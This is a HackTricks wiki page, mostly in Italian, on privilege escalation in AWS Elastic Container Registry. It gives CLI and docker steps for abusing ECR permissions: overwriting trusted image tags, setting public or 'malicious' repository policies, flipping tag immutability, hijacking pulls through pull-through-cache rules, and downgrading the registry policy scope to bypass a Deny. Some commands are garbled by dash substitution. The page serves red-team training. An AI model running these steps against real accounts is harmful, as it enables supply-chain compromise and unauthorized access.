AWS - ECR Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attacker con i permessi ecr:GetAuthorizationToken e ecr:BatchGetImage può effettuare il login su ECR e scaricare immagini.

Per maggiori informazioni su come scaricare le immagini:

AWS - ECR Post Exploitation

Impatto potenziale: privesc indiretto intercettando informazioni sensibili nel traffico.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attacker con tutti questi permessi può effettuare il login su ECR e caricare immagini. Questo può essere utile per escalation di privilegi verso altri ambienti dove quelle immagini vengono utilizzate.

Inoltre, ecr:PutImage può essere usato per sovrascrivere un tag esistente (per esempio stable / prod) caricando un manifest di immagine diverso sotto quel tag, di fatto dirottando i deploy basati sui tag.

Questo è particolarmente impattante quando i consumatori downstream effettuano deploy per tag e si auto-refresh al cambiamento del tag, come:

  • Lambda container image functions (PackageType=Image) che referenziano .../repo:stable
  • ECS services / Kubernetes workloads che effettuano il pull di repo:prod (senza pinning del digest)
  • Qualsiasi CI/CD che ridistribuisce a seguito di eventi ECR

In questi casi, la sovrascrittura di un tag può portare a remote code execution nell’ambiente del consumer e ad escalation di privilegi verso il ruolo IAM usato da quel workload (per esempio, un Lambda execution role con secretsmanager:GetSecretValue).

Per imparare come caricare una nuova immagine/aggiornare una esistente, consulta:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Come la sezione precedente, ma per repository pubblici.

ecr:SetRepositoryPolicy

Un attacker con questo permesso potrebbe modificare la repository policy per concedersi (o concedere a chiunque) accesso in lettura/scrittura.
Per esempio, in questo esempio l’accesso in lettura è concesso a tutti.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenuto di my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Come la sezione precedente, ma per i repository pubblici.
Un attaccante può modificare la policy del repository di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impatto potenziale: accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images.

ecr:PutRegistryPolicy

Un attaccante con questa autorizzazione potrebbe modificare la registry policy per concedere a sĂŠ stesso, al suo account (o anche a chiunque) read/write access.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Abusa delle regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dall’attaccante a un prefisso privato ECR di fiducia. Questo fa sì che i workload che effettuano il pull dal ECR privato ricevano in modo trasparente immagini dell’attaccante senza alcun push sul ECR privato.

  • Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si utilizza ECR Public come upstream: ecr-public:* per creare/eseguire il push nel repository pubblico.
  • Upstream testato: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Compromissione della catena di fornitura intercettando nomi di immagini interni sotto il prefisso scelto. Qualsiasi workload che esegue il pull di immagini dal ECR privato usando quel prefisso riceverà contenuto controllato dall’attaccante.

ecr:PutImageTagMutability

Abusa di questo permesso per cambiare un repository con tag immutabili in mutabile e sovrascrivere tag affidabili (es., latest, stable, prod) con contenuto controllato dall’attaccante.

  • Permessi richiesti: ecr:PutImageTagMutability piĂš capacitĂ  di push (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impatto: Compromissione della catena di fornitura sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag.

Steps (example):

Avvelena un tag immutabile alternando la mutabilitĂ  ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Hijack globale del registro tramite la regola ROOT Pull-Through Cache

Crea una regola Pull-Through Cache (PTC) usando il speciale ecrRepositoryPrefix=ROOT per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato verrà servito in modo trasparente dall’upstream, permettendo supply-chain hijacking senza effettuare push su ECR privato.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Impatto: i pull a <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> riescono e creano automaticamente repository privati originati dall’upstream.

Nota: Per le regole ROOT, ometti --upstream-repository-prefix. Fornirlo causerĂ  un errore di convalida.

Demo (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Degradare `REGISTRY_POLICY_SCOPE` per aggirare i Deny della policy del registro)

Usa `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, degradare a `V1` rimuove quella restrizione, permettendo agli Allow delle identity policy di avere effetto.

- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., creare regole PTC) by temporarily setting scope to `V1`.

Steps (example):

<details>
<summary>Aggirare il Deny della registry policy su CreatePullThroughCacheRule cambiando a V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks